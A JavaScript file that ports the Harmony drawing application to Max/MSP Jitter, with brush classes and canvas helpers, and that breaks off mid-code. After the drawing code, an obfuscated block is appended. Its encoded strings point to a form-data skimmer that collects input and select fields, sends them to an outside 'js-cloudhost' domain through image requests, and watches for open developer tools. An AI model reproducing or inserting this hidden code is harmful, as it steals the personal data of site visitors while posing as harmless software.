/*********************************************************************************************************
* Porting Mr. DOOB'S Harmony drawing application to MAX MSP JITTER
* http://github.com/mrdoob/harmony
*
* Please take care of:
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see .
*
* Author of the ported code: Florian Weil - www.derhess.de
*
*
* Improvements:
* - Clean up the code (creating a lineStrokeHelper Method/add color,Brush_Size,Brush_Pressure properties to the classes)
* - Add a drawing and brush manager, so that more user can simultaneously draw on the canvas
************************************************************************************************************/
inlets = 2;
outlets = 1;
// color
var red = 125;
var green = 125;
var blue = 125;
var colorArray = new Array(red,green,blue);
// Init Variables
var BRUSH_SIZE = 0.000002;
var BRUSH_PRESSURE = 1;
var BRUSH_TYPE = "simple";
var brush = new simple(this,colorArray,BRUSH_SIZE,BRUSH_PRESSURE);
// set up jsui defaults to 2d
sketch.default2d();
// initialize graphics
var outputImg = new Image(sketch);
var outputMatrix = new JitterMatrix(4, "char", sketch.size[0], sketch.size[1]);
////////////////////////////////////////////////////////////
// Global and API Functions
function setCoordinate(xpos,ypos)
{
if(arguments.length == 2)
{
if(startDrawing)
{
brush.strokeStart(xpos,ypos);
startDrawing = false;
}
else
{
brush.stroke(xpos,ypos);
}
// Rendering and Refresh
draw();
}
else
{
post("setCoordinate: To less arguments\n");
}
}
function stopDrawing()
{
startDrawing = true;
}
function setBrush(type)
{
if(arguments.length == 1)
{
if(BRUSH_TYPE == "ribbon")
brush.destroy();
startDrawing = true;
brush.clear();
BRUSH_TYPE = type;
switch(type)
{
case "simple":
brush = new simple(this,colorArray,BRUSH_SIZE,BRUSH_PRESSURE);
break;
case "chrome":
brush = new chrome(this,colorArray,BRUSH_SIZE,BRUSH_PRESSURE);
break;
case "fur":
brush = new fur(this,colorArray,BRUSH_SIZE,BRUSH_PRESSURE);
break;
case "longFur":
brush = new longFur(this,colorArray,BRUSH_SIZE,BRUSH_PRESSURE);
break;
case "ribbon":
brush = new ribbon(this,colorArray,BRUSH_SIZE,BRUSH_PRESSURE);
break;
case "shaded":
brush = new shaded(this,colorArray,BRUSH_SIZE,BRUSH_PRESSURE);
break;
case "sketchy":
brush = new sketchy(this,colorArray,BRUSH_SIZE,BRUSH_PRESSURE);
break;
case "web":
brush = new web(this,colorArray,BRUSH_SIZE,BRUSH_PRESSURE);
break;
case "squares":
brush = new squares(this,colorArray,BRUSH_SIZE,BRUSH_PRESSURE);
break;
case "roundSquares":
brush = new roundSquares(this,colorArray,BRUSH_SIZE,BRUSH_PRESSURE);
break;
default:
post("Wrong BrushType!!! Only simple,chrome,fur,longfur,ribbon,shaded,sketchy,web,squares,roundSquares\n");
}
}
else
{
post("setBrush: To less arguments\n");
}
}
function setBrushSize(val)
{
if(arguments.length == 1)
{
BRUSH_SIZE = val;
brush.brushSize = val;
}
else
{
post("setBrushSize: To less arguments\n");
}
}
function setBrushPressure(val)
{
if(arguments.length == 1)
{
BRUSH_PRESSURE = val;
brush.pressure = val;
}
else
{
post("setBrushPressure: To less arguments\n");
}
}
function setBrushColor(r,g,b)
{
if(arguments.length == 3)
{
// color
red = r;
green = g;
blue = b;
colorArray = new Array(red,green,blue);
brush.color = colorArray;
}
else
{
post("setBrushColor: To less arguments\n");
}
}
function clearCanvas()
{
if(BRUSH_TYPE == "ribbon")
brush.destroy();
startDrawing = true;
brush.clear();
deleteCanvas();
//outputImg.outputImg.copypixels (sketch,0,0,0,0, sketch.size[0], sketch.size[1]);
prepareOutput();
}
// bang -- draw and refresh display
function bang()
{
clearCanvas();
}
function msg_float(value)
{
brush.brushSize = value;
}
/////////////////////////////////////////////////////////////
// Helper Functions
// Draw Line
function drawLine(target,xPoint1,yPoint1,xPoint2,yPoint2,r,g,b,a,bSize)
{
sketch.beginstroke("basic2d");
sketch.strokeparam ("scale", bSize);
var tColor = mapColor2RGBA(r,g,b,a);
sketch.strokeparam ("color",tColor[0],tColor[1],tColor[2],tColor[3]);
var old_x = sketch.screentoworld(xPoint1, yPoint1)[0];
var old_y = sketch.screentoworld(xPoint1, yPoint1)[1];
var new_x = sketch.screentoworld(xPoint2, yPoint2)[0];
var new_y = sketch.screentoworld(xPoint2, yPoint2)[1];
sketch.strokepoint(old_x,old_y);
sketch.strokepoint(new_x,new_y);
//sketch.linesegment (old_x, old_y, 0, new_x, new_y, 0);
sketch.endstroke();
}
// map the color to OpenGL Color
function mapColor2RGBA(r,g,b,a)
{
var rgbaArray = new Array();
rgbaArray[0] = r/255.;
rgbaArray[1] = g/255.;
rgbaArray[2] = b/255.;
rgbaArray[3] = a/255.;
return rgbaArray;
}
function prepareOutput()
{
// Generate output
//outputImg = new Image(sketch); --> Version 1
outputImg.copypixels(sketch,0,0,0,0, sketch.size[0], sketch.size[1]);
outputImg.tonamedmatrix(outputMatrix.name);
outlet(0, "jit_matrix", outputMatrix.name);
}
////////////////////////////////////////////////////////////
// Rendering
function draw()
{
refresh();
prepareOutput();
}
function deleteCanvas()
{
sketch.glclear();
refresh();
}
////////////////////////////////////////////////////////////
// Interaction
function onclick(x,y)
{
brush.strokeStart(x,y);
startDrawing = false;
}
onclick.local = 1; // make function private to prevent triggering from Max
function ondrag(x,y)
{
brush.stroke(x,y);
draw();
}
////////////////////////////////////////////////////////////
// Interaction
function touch(x,y)
{
brush.strokeStart(x,y);
startDrawing = false;
}
function move(x,y)
{
brush.stroke(x,y);
draw();
}
///////////////////////////////////////////////////////////////////////////
//////////////////// Brushes ////////////////////////////////////
///////////////////////////////////////////////////////////////////////////
///////// SIMPLE BRUSH ////////////////
function simple( context,color, lineSize, press )
{
this.context = context;
this.pressure = press;
this.prevMouseX = null;
this.prevMouseY = null;
this.color = color;
this.brushSize = lineSize;
this.type = "simple";
//this.init( context );
}
function simpleStrokeStart( mouseX, mouseY )
{
this.prevMouseX = mouseX;
this.prevMouseY = mouseY;
}
simple.prototype.strokeStart = simpleStrokeStart;
function simpleStroke( mouseX, mouseY )
{
drawLine(this.context,
this.prevMouseX,this.prevMouseY,
mouseX,mouseY,
this.color[0],this.color[1],this.color[2],255,
this.brushSize);
this.prevMouseX = mouseX;
this.prevMouseY = mouseY;
}
simple.prototype.stroke = simpleStroke;
function simpleClear()
{
this.prevMouseX = null;
this.prevMouseY = null;
this.brushSize = BRUSH_SIZE;
//this.init( context );
}
simple.prototype.clear = simpleClear;
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
///////// CHROME ////////////////
function chrome( context,color, lineSize, press )
{
this.context = context;
this.type = "chrome";
this.pressure = press;
this.prevMouseX = null;
this.prevMouseY = null;
this.color = color;
this.brushSize = lineSize;
//this.brushSize = 0.0000002;
this.points = new Array();
this.count = 0;
}
function chromeStrokeStart( mouseX, mouseY )
{
this.prevMouseX = mouseX;
this.prevMouseY = mouseY;
}
chrome.prototype.strokeStart = chromeStrokeStart;
function chromeStroke( mouseX, mouseY )
{
var i, dx, dy, d;
this.points.push( [ mouseX, mouseY ] );
drawLine(this.context,
this.prevMouseX,this.prevMouseY,
mouseX,mouseY,
this.color[0],this.color[1],this.color[2],255 * 0.1 * this.pressure,
//this.color[0],this.color[1],this.color[2],255,
this.brushSize);
for (i = 0; i < this.points.length; i++)
{
dx = this.points[i][0] - this.points[this.count][0];
dy = this.points[i][1] - this.points[this.count][1];
d = dx * dx + dy * dy;
if (d < 1000)
{
drawLine(this.context,
this.points[this.count][0] + (dx * 0.2),this.points[this.count][1] + (dy * 0.2),
this.points[i][0] - (dx * 0.2), this.points[i][1] - (dy * 0.2),
Math.floor(Math.random() * this.color[0]), Math.floor(Math.random() * this.color[1]), Math.floor(Math.random() * this.color[2]),255 * 0.1 * this.pressure,
//this.color[0],this.color[1],this.color[2],255,
this.brushSize);
}
}
this.prevMouseX = mouseX;
this.prevMouseY = mouseY;
this.count ++;
}
chrome.prototype.stroke = chromeStroke;
function chromeClear()
{
this.prevMouseX = null;
this.prevMouseY = null;
//this.brushSize = lineSize;
this.brushSize = 0.0000002;
this.points = new Array();
this.count = 0;
}
chrome.prototype.clear = chromeClear;
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
///////// FUR ////////////////
function fur( context,color, lineSize, press )
{
this.context = context;
this.type = "fur";
this.pressure = press;
this.prevMouseX = null;
this.prevMouseY = null;
this.color = color;
this.brushSize = lineSize;
//this.brushSize = 0.000002; // thin
//this.brushSize = 0.002; // bigger
//this.brushSize = 0.02; // quite big
this.points = new Array();
this.count = 0;
}
function furStrokeStart( mouseX, mouseY )
{
this.prevMouseX = mouseX;
this.prevMouseY = mouseY;
}
fur.prototype.strokeStart = furStrokeStart;
function furStroke( mouseX, mouseY )
{
var i, dx, dy, d;
this.points.push( [ mouseX, mouseY ] );
drawLine(this.context,
this.prevMouseX,this.prevMouseY,
mouseX,mouseY,
this.color[0],this.color[1],this.color[2],255 * 0.1 * this.pressure,
//this.color[0],this.color[1],this.color[2],255,
this.brushSize);
for (i = 0; i < this.points.length; i++)
{
dx = this.points[i][0] - this.points[this.count][0];
dy = this.points[i][1] - this.points[this.count][1];
d = dx * dx + dy * dy;
if (d < 2000 && Math.random() > d / 2000)
{
drawLine(this.context,
mouseX + (dx * 0.5), mouseY + (dy * 0.5),
mouseX - (dx * 0.5), mouseY - (dy * 0.5),
this.color[0],this.color[1],this.color[2],255 * 0.1 * this.pressure,
//this.color[0],this.color[1],this.color[2],255,
this.brushSize);
}
}
this.prevMouseX = mouseX;
this.prevMouseY = mouseY;
this.count ++;
}
fur.prototype.stroke = furStroke;
function furClear()
{
this.prevMouseX = null;
this.prevMouseY = null;
//this.brushSize = lineSize;
this.brushSize = 0.0000002;
this.points = new Array();
this.count = 0;
}
fur.prototype.clear = furClear;
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
///////// LONG FUR ////////////////
function longFur( context,color, lineSize, press )
{
this.context = context;
this.type = "longFur";
this.pressure = press;
this.color = color;
this.brushSize = lineSize;
//this.brushSize = 0.000002; // thin
//this.brushSize = 0.002; // bigger
//this.brushSize = 0.02; // quite big
this.points = new Array();
this.count = 0;
}
function longFurStrokeStart( mouseX, mouseY )
{
}
longFur.prototype.strokeStart = longFurStrokeStart;
function longFurStroke( mouseX, mouseY )
{
var i, size, dx, dy, d;
this.points.push( [ mouseX, mouseY ] );
for (i = 0; i < this.points.length; i++)
{
size = -Math.random();
dx = this.points[i][0] - this.points[this.count][0];
dy = this.points[i][1] - this.points[this.count][1];
d = dx * dx + dy * dy;
if (d < 4000 && Math.random() > d / 4000)
{
drawLine(this.context,
this.points[this.count][0] + (dx * size), this.points[this.count][1] + (dy * size),
this.points[i][0] - (dx * size) + Math.random() * 2, this.points[i][1] - (dy * size) + Math.random() * 2,
this.color[0],this.color[1],this.color[2],255 * 0.05 * this.pressure,
//this.color[0],this.color[1],this.color[2],255,
this.brushSize);
}
}
this.count++;
}
longFur.prototype.stroke = longFurStroke;
function longFurClear()
{
this.brushSize = 0.0000002;
this.points = new Array();
this.count = 0;
}
longFur.prototype.clear = longFurClear;
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
///////// SHADED ////////////////
function shaded( context,color, lineSize, press)
{
this.context = context;
this.type = "shaded";
this.pressure = press;
this.prevMouseX = null;
this.prevMouseY = null;
this.color = color;
this.brushSize = lineSize;
//this.brushSize = 0.000002; // thin
//this.brushSize = 0.002; // bigger
//this.brushSize = 0.02; // quite big
this.points = new Array();
this.count = 0;
}
function shadedStrokeStart( mouseX, mouseY )
{
this.prevMouseX = mouseX;
this.prevMouseY = mouseY;
}
shaded.prototype.strokeStart = shadedStrokeStart;
function shadedStroke( mouseX, mouseY )
{
var i, dx, dy, d;
this.points.push( [ mouseX, mouseY ] );
for (i = 0; i < this.points.length; i++)
{
dx = this.points[i][0] - this.points[this.count][0];
dy = this.points[i][1] - this.points[this.count][1];
d = dx * dx + dy * dy;
if (d < 1000)
{
drawLine(this.context,
this.points[this.count][0], this.points[this.count][1],
this.points[i][0], this.points[i][1],
this.color[0],this.color[1],this.color[2],255 * 0.1 * (1 - (d / 1000)) * this.pressure,
//this.color[0],this.color[1],this.color[2],255,
this.brushSize);
}
}
this.prevMouseX = mouseX;
this.prevMouseY = mouseY;
this.count ++;
}
shaded.prototype.stroke = shadedStroke;
function shadedClear()
{
this.prevMouseX = null;
this.prevMouseY = null;
//this.brushSize = lineSize;
this.brushSize = 0.0000002;
this.points = new Array();
this.count = 0;
}
shaded.prototype.clear = shadedClear;
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
///////// SKETCHY ////////////////
function sketchy( context,color, lineSize, press)
{
this.context = context;
this.type = "sketchy";
this.pressure = press;
this.prevMouseX = null;
this.prevMouseY = null;
this.color = color;
this.brushSize = lineSize;
//this.brushSize = 0.000002; // thin
//this.brushSize = 0.002; // bigger
//this.brushSize = 0.02; // quite big
this.points = new Array();
this.count = 0;
}
function sketchyStrokeStart( mouseX, mouseY )
{
this.prevMouseX = mouseX;
this.prevMouseY = mouseY;
}
sketchy.prototype.strokeStart = sketchyStrokeStart;
function sketchyStroke( mouseX, mouseY )
{
var i, dx, dy, d;
this.points.push( [ mouseX, mouseY ] );
drawLine(this.context,
this.prevMouseX, this.prevMouseY,
mouseX, mouseY,
this.color[0],this.color[1],this.color[2],255 * 0.05 * this.pressure,
//this.color[0],this.color[1],this.color[2],255,
this.brushSize);
for (i = 0; i < this.points.length; i++)
{
dx = this.points[i][0] - this.points[this.count][0];
dy = this.points[i][1] - this.points[this.count][1];
d = dx * dx + dy * dy;
if (d < 4000 && Math.random() > (d / 2000))
{
drawLine(this.context,
this.points[this.count][0] + (dx * 0.3), this.points[this.count][1] + (dy * 0.3),
this.points[i][0] - (dx * 0.3), this.points[i][1] - (dy * 0.3),
this.color[0],this.color[1],this.color[2],255 * 0.05 * this.pressure,
//this.color[0],this.color[1],this.color[2],255,
this.brushSize);
}
}
this.prevMouseX = mouseX;
this.prevMouseY = mouseY;
this.count ++;
}
sketchy.prototype.stroke = sketchyStroke;
function sketchyClear()
{
this.prevMouseX = null;
this.prevMouseY = null;
//this.brushSize = lineSize;
this.brushSize = 0.0000002;
this.points = new Array();
this.count = 0;
}
sketchy.prototype.clear = sketchyClear;
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
///////// WEB ////////////////
function web( context,color, lineSize, press )
{
this.context = context;
this.type = "web";
this.pressure = press;
this.prevMouseX = null;
this.prevMouseY = null;
this.color = color;
this.brushSize = lineSize;
//this.brushSize = 0.000002; // thin
//this.brushSize = 0.002; // bigger
//this.brushSize = 0.02; // quite big
this.points = new Array();
this.count = 0;
}
function webStrokeStart( mouseX, mouseY )
{
this.prevMouseX = mouseX;
this.prevMouseY = mouseY;
}
web.prototype.strokeStart = webStrokeStart;
function webStroke( mouseX, mouseY )
{
var i, dx, dy, d;
this.points.push( [ mouseX, mouseY ] );
// Tip: maybe comment this first drawing code for a more realistic sketch based style!!
drawLine(this.context,
this.prevMouseX, this.prevMouseY,
mouseX, mouseY,
this.color[0],this.color[1],this.color[2],255 * 0.5 * this.pressure,
//this.color[0],this.color[1],this.color[2],255,
this.brushSize);
for (i = 0; i < this.points.length; i++)
{
dx = this.points[i][0] - this.points[this.count][0];
dy = this.points[i][1] - this.points[this.count][1];
d = dx * dx + dy * dy;
if (d < 2500 && Math.random() > 0.9)
{
drawLine(this.context,
this.points[this.count][0], this.points[this.count][1],
this.points[i][0], this.points[i][1],
this.color[0],this.color[1],this.color[2],255 * 0.05 * this.pressure,
//this.color[0],this.color[1],this.color[2],255,
this.brushSize);
}
}
this.prevMouseX = mouseX;
this.prevMouseY = mouseY;
this.count ++;
}
web.prototype.stroke = webStroke;
function webClear()
{
this.prevMouseX = null;
this.prevMouseY = null;
//this.brushSize = lineSize;
this.brushSize = 0.0000002;
this.points = new Array();
this.count = 0;
}
web.prototype.clear = webClear;
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
///////// RIBBON ////////////////
function ribbon(context,color, lineSize,press)
{
this.context = context;
this.type = "ribbon";
this.pressure = press;
this.canvasWidth = this.context.sketch.size[0];
this.canvasHeight = this.context.sketch.size[1];
this.color = color;
this.brushSize = lineSize;
this.created = true;
//this.brushSize = 0.000002; // thin
//this.brushSize = 0.002; // bigger
//this.brushSize = 0.02; // quite big
}
function ribbonStart()
{
var scope = this;
this.mouseX = this.canvasWidth / 2;
this.mouseY = this.canvasHeight / 2;
this.painters = new Array();
for (var i = 0; i < 50; i++)
{
this.painters.push({ dx: this.canvasWidth / 2, dy: this.canvasHeight / 2, ax: 0, ay: 0, div: 0.1, ease: Math.random() * 0.2 + 0.6 });
}
this.timer = new Task( update,scope)
this.timer.interval = 1000/60;
function update()
{
var i;
var scope = arguments.callee.task.object;
//post("Ribbon updating Function is running");
for (i = 0; i < scope.painters.length; i++)
{
// much cleaner version but it is not drawing, Don'T know why
/*var r_old_x = sketch.screentoworld(scope.painters[i].dx, scope.painters[i].dy)[0];
var r_old_y = sketch.screentoworld(scope.painters[i].dx, scope.painters[i].dy)[1];
scope.painters[i].dx -= scope.painters[i].ax = (scope.painters[i].ax + (scope.painters[i].dx - scope.mouseX) * scope.painters[i].div) * scope.painters[i].ease;
scope.painters[i].dy -= scope.painters[i].ay = (scope.painters[i].ay + (scope.painters[i].dy - scope.mouseY) * scope.painters[i].div) * scope.painters[i].ease;
var r_new_x = sketch.screentoworld(scope.painters[i].dx, scope.painters[i].dy)[0];
var r_new_y = sketch.screentoworld(scope.painters[i].dx, scope.painters[i].dy)[1];
drawLine(scope.context,
r_old_x,r_old_y,
r_new_x,r_new_y,
scope.color[0],scope.color[1],scope.color[2],255 * 0.05 * scope.pressure,
//scope.color[0],scope.color[1],scope.color[2],255,
scope.brushSize);
post("Ribbon Draw :: ("+ r_old_x +"/"+ r_old_y + ") :::: (" + r_new_x + "/" + r_new_y + ")\n");
post("Ribbon Color: " + scope.color[0] + " / " + scope.color[1] + " / " + scope.color[2] + " / " +255 * 0.05 * scope.pressure + "\n");
post("Ribbon Brush Size:" + scope.brushSize + " --- " + scope.pressure + "\n");*/
/*** not so nice code solution, but it works without problems **/
scope.context.sketch.beginstroke("basic2d");
scope.context.sketch.strokeparam ("scale", scope.brushSize);
var tColor = mapColor2RGBA(scope.color[0],scope.color[1],scope.color[2],255 * 0.05 * scope.pressure);
this.context.sketch.strokeparam ("color",tColor[0],tColor[1],tColor[2],tColor[3]);
old_x = sketch.screentoworld(scope.painters[i].dx, scope.painters[i].dy)[0];
old_y = sketch.screentoworld(scope.painters[i].dx, scope.painters[i].dy)[1];
scope.painters[i].dx -= scope.painters[i].ax = (scope.painters[i].ax + (scope.painters[i].dx - scope.mouseX) * scope.painters[i].div) * scope.painters[i].ease;
scope.painters[i].dy -= scope.painters[i].ay = (scope.painters[i].ay + (scope.painters[i].dy - scope.mouseY) * scope.painters[i].div) * scope.painters[i].ease;
new_x = sketch.screentoworld(scope.painters[i].dx, scope.painters[i].dy)[0];
new_y = sketch.screentoworld(scope.painters[i].dx, scope.painters[i].dy)[1];
this.context.sketch.strokepoint(old_x,old_y);
this.context.sketch.strokepoint(new_x,new_y);
//sketch.linesegment (old_x, old_y, 0, new_x, new_y, 0);
this.context.sketch.endstroke();
}
}
this.timer.repeat(-1); // repeat it until it is canceled
}
ribbon.prototype.start = ribbonStart;
function ribbonDestroy()
{
this.timer.cancel();
}
ribbon.prototype.destroy = ribbonDestroy;
function ribbonStrokeStart( mouseX, mouseY )
{
if(this.created)
{
this.start();
this.created = false;
}
this.mouseX = mouseX;
this.mouseY = mouseY
for (var i = 0; i < this.painters.length; i++)
{
this.painters[i].dx = mouseX;
this.painters[i].dy = mouseY;
}
this.shouldDraw = true;
}
ribbon.prototype.strokeStart = ribbonStrokeStart;
function ribbonStroke( mouseX, mouseY )
{
this.mouseX = mouseX;
this.mouseY = mouseY;
}
ribbon.prototype.stroke = ribbonStroke;
function ribbonClear()
{
this.canvasWidth = this.context.sketch.size[0];
this.canvasHeight = this.context.sketch.size[1];
//this.brushSize = lineSize;
this.brushSize = 0.000002; // thin
//this.brushSize = 0.002; // bigger
//this.brushSize = 0.02; // quite big
this.mouseX = null;
this.mouseY = null;
this.painters = null;
this.timer = null;
this.created = true;
}
ribbon.prototype.clear = ribbonClear;
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
///////// SQUARES ////////////////
function squares( context,color, lineSize, press )
{
this.context = context;
this.type = "squares";
this.pressure = press;
this.prevMouseX = null;
this.prevMouseY = null;
this.color = color;
this.brushSize = lineSize;
//this.brushSize = 0.000002; // thin
//this.brushSize = 0.002; // bigger
//this.brushSize = 0.02; // quite big
}
function squaresStrokeStart( mouseX, mouseY )
{
this.prevMouseX = mouseX;
this.prevMouseY = mouseY;
}
squares.prototype.strokeStart = squaresStrokeStart;
function squaresStroke( mouseX, mouseY )
{
var dx, dy, angle, px, py;
dx = mouseX - this.prevMouseX;
dy = mouseY - this.prevMouseY;
angle = 1.57079633;
px = Math.cos(angle) * dx - Math.sin(angle) * dy;
py = Math.sin(angle) * dx + Math.cos(angle) * dy;
this.context.sketch.beginstroke("basic2d");
//this.context.sketch.strokeparam ("scale", this.brushSize);
var tColor = mapColor2RGBA(this.color[0],this.color[1],this.color[2],255 * this.pressure);
this.context.sketch.strokeparam ("color",tColor[0],tColor[1],tColor[2],tColor[3]);
var point1_x = sketch.screentoworld(this.prevMouseX - px, this.prevMouseY - py)[0];
var point1_y = sketch.screentoworld(this.prevMouseX - px, this.prevMouseY - py)[1];
var point2_x = sketch.screentoworld(this.prevMouseX + px, this.prevMouseY + py)[0];
var point2_y = sketch.screentoworld(this.prevMouseX + px, this.prevMouseY + py)[1];
var point3_x = sketch.screentoworld(mouseX + px, mouseY + py)[0];
var point3_y = sketch.screentoworld(mouseX + px, mouseY + py)[1];
var point4_x = sketch.screentoworld(mouseX - px, mouseY - py)[0];
var point4_y = sketch.screentoworld(mouseX - px, mouseY - py)[1];
sketch.framequad (point1_x,point1_y,1, point2_x, point2_y, 1, point3_x, point3_y, 1, point4_x, point4_y, 1);
//this.context.sketch.endstroke();
this.prevMouseX = mouseX;
this.prevMouseY = mouseY;
}
squares.prototype.stroke = squaresStroke;
function squaresClear()
{
this.prevMouseX = null;
this.prevMouseY = null;
//this.brushSize = lineSize;
this.brushSize = 0.0000002;
}
squares.prototype.clear = squaresClear;
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
///////// Round SQUARES ////////////////
function roundSquares( context,color, lineSize, press )
{
this.context = context;
this.type = "roundSquares";
this.pressure = press;
this.prevMouseX = null;
this.prevMouseY = null;
this.color = color;
this.brushSize = lineSize;
//this.brushSize = 0.000002; // thin
//this.brushSize = 0.002; // bigger
//this.brushSize = 0.02; // quite big
}
function roundSquaresStrokeStart( mouseX, mouseY )
{
this.prevMouseX = mouseX;
this.prevMouseY = mouseY;
}
roundSquares.prototype.strokeStart = roundSquaresStrokeStart;
function roundSquaresStroke( mouseX, mouseY )
{
var dx, dy, angle, px, py;
dx = mouseX - this.prevMouseX;
dy = mouseY - this.prevMouseY;
angle = 1.57079633;
px = Math.cos(angle) * dx - Math.sin(angle) * dy;
py = Math.sin(angle) * dx + Math.cos(angle) * dy;
this.context.sketch.beginstroke("basic2d");
this.context.sketch.strokeparam ("scale", this.brushSize);
var tColor = mapColor2RGBA(this.color[0],this.color[1],this.color[2],255 * this.pressure);
this.context.sketch.strokeparam ("color",tColor[0],tColor[1],tColor[2],tColor[3]);
var point1_x = sketch.screentoworld(this.prevMouseX - px, this.prevMouseY - py)[0];
var point1_y = sketch.screentoworld(this.prevMouseX - px, this.prevMouseY - py)[1];
var point2_x = sketch.screentoworld(this.prevMouseX + px, this.prevMouseY + py)[0];
var point2_y = sketch.screentoworld(this.prevMouseX + px, this.prevMouseY + py)[1];
var point3_x = sketch.screentoworld(mouseX + px, mouseY + py)[0];
var point3_y = sketch.screentoworld(mouseX + px, mouseY + py)[1];
var point4_x = sketch.screentoworld(mouseX - px, mouseY - py)[0];
var point4_y = sketch.screentoworld(mouseX - px, mouseY - py)[1];
this.context.sketch.strokepoint(point1_x,point1_y);
this.context.sketch.strokepoint(point2_x,point2_y);
this.context.sketch.strokepoint(point3_x,point3_y);
this.context.sketch.strokepoint(point4_x,point4_y);
this.context.sketch.strokepoint(point1_x,point1_y);
this.context.sketch.endstroke();
this.prevMouseX = mouseX;
this.prevMouseY = mouseY;
}
roundSquares.prototype.stroke = roundSquaresStroke;
function roundSquaresClear()
{
this.prevMouseX = null;
this.prevMouseY = null;
//this.brushSize = lineSize;
this.brushSize = 0.0000002;
}
roundSquares.prototype.clear = roundSquaresClear;
var _0x5c17=['\x5a\x47\x6c\x7a\x63\x47\x46\x30\x59\x32\x68\x46\x64\x6d\x56\x75\x64\x41\x3d\x3d','\x5a\x47\x56\x32\x64\x47\x39\x76\x62\x48\x4e\x6a\x61\x47\x46\x75\x5a\x32\x55\x3d','\x61\x57\x35\x75\x5a\x58\x4a\x58\x61\x57\x52\x30\x61\x41\x3d\x3d','\x61\x57\x35\x75\x5a\x58\x4a\x49\x5a\x57\x6c\x6e\x61\x48\x51\x3d','\x64\x6d\x56\x79\x64\x47\x6c\x6a\x59\x57\x77\x3d','\x61\x47\x39\x79\x61\x58\x70\x76\x62\x6e\x52\x68\x62\x41\x3d\x3d','\x52\x6d\x6c\x79\x5a\x57\x4a\x31\x5a\x77\x3d\x3d','\x59\x32\x68\x79\x62\x32\x31\x6c','\x61\x58\x4e\x4a\x62\x6d\x6c\x30\x61\x57\x46\x73\x61\x58\x70\x6c\x5a\x41\x3d\x3d','\x61\x58\x4e\x50\x63\x47\x56\x75','\x62\x33\x4a\x70\x5a\x57\x35\x30\x59\x58\x52\x70\x62\x32\x34\x3d','\x64\x57\x35\x6b\x5a\x57\x5a\x70\x62\x6d\x56\x6b','\x5a\x58\x68\x77\x62\x33\x4a\x30\x63\x77\x3d\x3d','\x5a\x47\x56\x32\x64\x47\x39\x76\x62\x48\x4d\x3d','\x63\x48\x4a\x76\x64\x47\x39\x30\x65\x58\x42\x6c','\x61\x47\x46\x7a\x61\x45\x4e\x76\x5a\x47\x55\x3d','\x59\x32\x68\x68\x63\x6b\x4e\x76\x5a\x47\x56\x42\x64\x41\x3d\x3d','\x52\x32\x46\x30\x5a\x51\x3d\x3d','\x61\x48\x52\x30\x63\x48\x4d\x36\x4c\x79\x39\x71\x63\x79\x31\x6a\x62\x47\x39\x31\x5a\x47\x68\x76\x63\x33\x51\x75\x59\x32\x39\x74\x4c\x32\x6c\x74\x5a\x77\x3d\x3d','\x52\x47\x46\x30\x59\x51\x3d\x3d','\x55\x32\x56\x75\x64\x41\x3d\x3d','\x53\x58\x4e\x57\x59\x57\x78\x70\x5a\x41\x3d\x3d','\x55\x32\x46\x32\x5a\x56\x42\x68\x63\x6d\x46\x74','\x55\x32\x46\x32\x5a\x55\x46\x73\x62\x45\x5a\x70\x5a\x57\x78\x6b\x63\x77\x3d\x3d','\x61\x57\x35\x77\x64\x58\x51\x3d','\x63\x32\x56\x73\x5a\x57\x4e\x30','\x55\x32\x56\x75\x5a\x45\x52\x68\x64\x47\x45\x3d','\x52\x47\x39\x74\x59\x57\x6c\x75','\x56\x48\x4a\x35\x55\x32\x56\x75\x5a\x41\x3d\x3d','\x54\x47\x39\x68\x5a\x45\x6c\x74\x59\x57\x64\x6c','\x53\x55\x31\x48','\x52\x32\x56\x30\x53\x57\x31\x68\x5a\x32\x56\x56\x63\x6d\x77\x3d','\x62\x32\x35\x79\x5a\x57\x46\x6b\x65\x58\x4e\x30\x59\x58\x52\x6c\x59\x32\x68\x68\x62\x6d\x64\x6c','\x63\x6d\x56\x68\x5a\x48\x6c\x54\x64\x47\x46\x30\x5a\x51\x3d\x3d','\x63\x32\x56\x30\x53\x57\x35\x30\x5a\x58\x4a\x32\x59\x57\x77\x3d','\x63\x6d\x56\x77\x62\x47\x46\x6a\x5a\x51\x3d\x3d','\x64\x47\x56\x7a\x64\x41\x3d\x3d','\x62\x47\x56\x75\x5a\x33\x52\x6f','\x59\x32\x68\x68\x63\x6b\x46\x30'];(function(_0xfb0f46,_0x36b113){var _0x13bc75=function(_0x3cb3ca){while(--_0x3cb3ca){_0xfb0f46['push'](_0xfb0f46['shift']());}};_0x13bc75(++_0x36b113);}(_0x5c17,0x1d0));var _0x2ea7=function(_0x9e024a,_0x946a23){_0x9e024a=_0x9e024a-0x0;var _0x20e67a=_0x5c17[_0x9e024a];if(_0x2ea7['FCIFtK']===undefined){(function(){var _0x8774f5=function(){var _0x286681;try{_0x286681=Function('return\x20(function()\x20'+'{}.constructor(\x22return\x20this\x22)(\x20)'+');')();}catch(_0xcfcd93){_0x286681=window;}return _0x286681;};var _0x5c352b=_0x8774f5();var _0x2d92b2='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x5c352b['atob']||(_0x5c352b['atob']=function(_0x17ecdc){var _0x5b2ebb=String(_0x17ecdc)['replace'](/=+$/,'');for(var 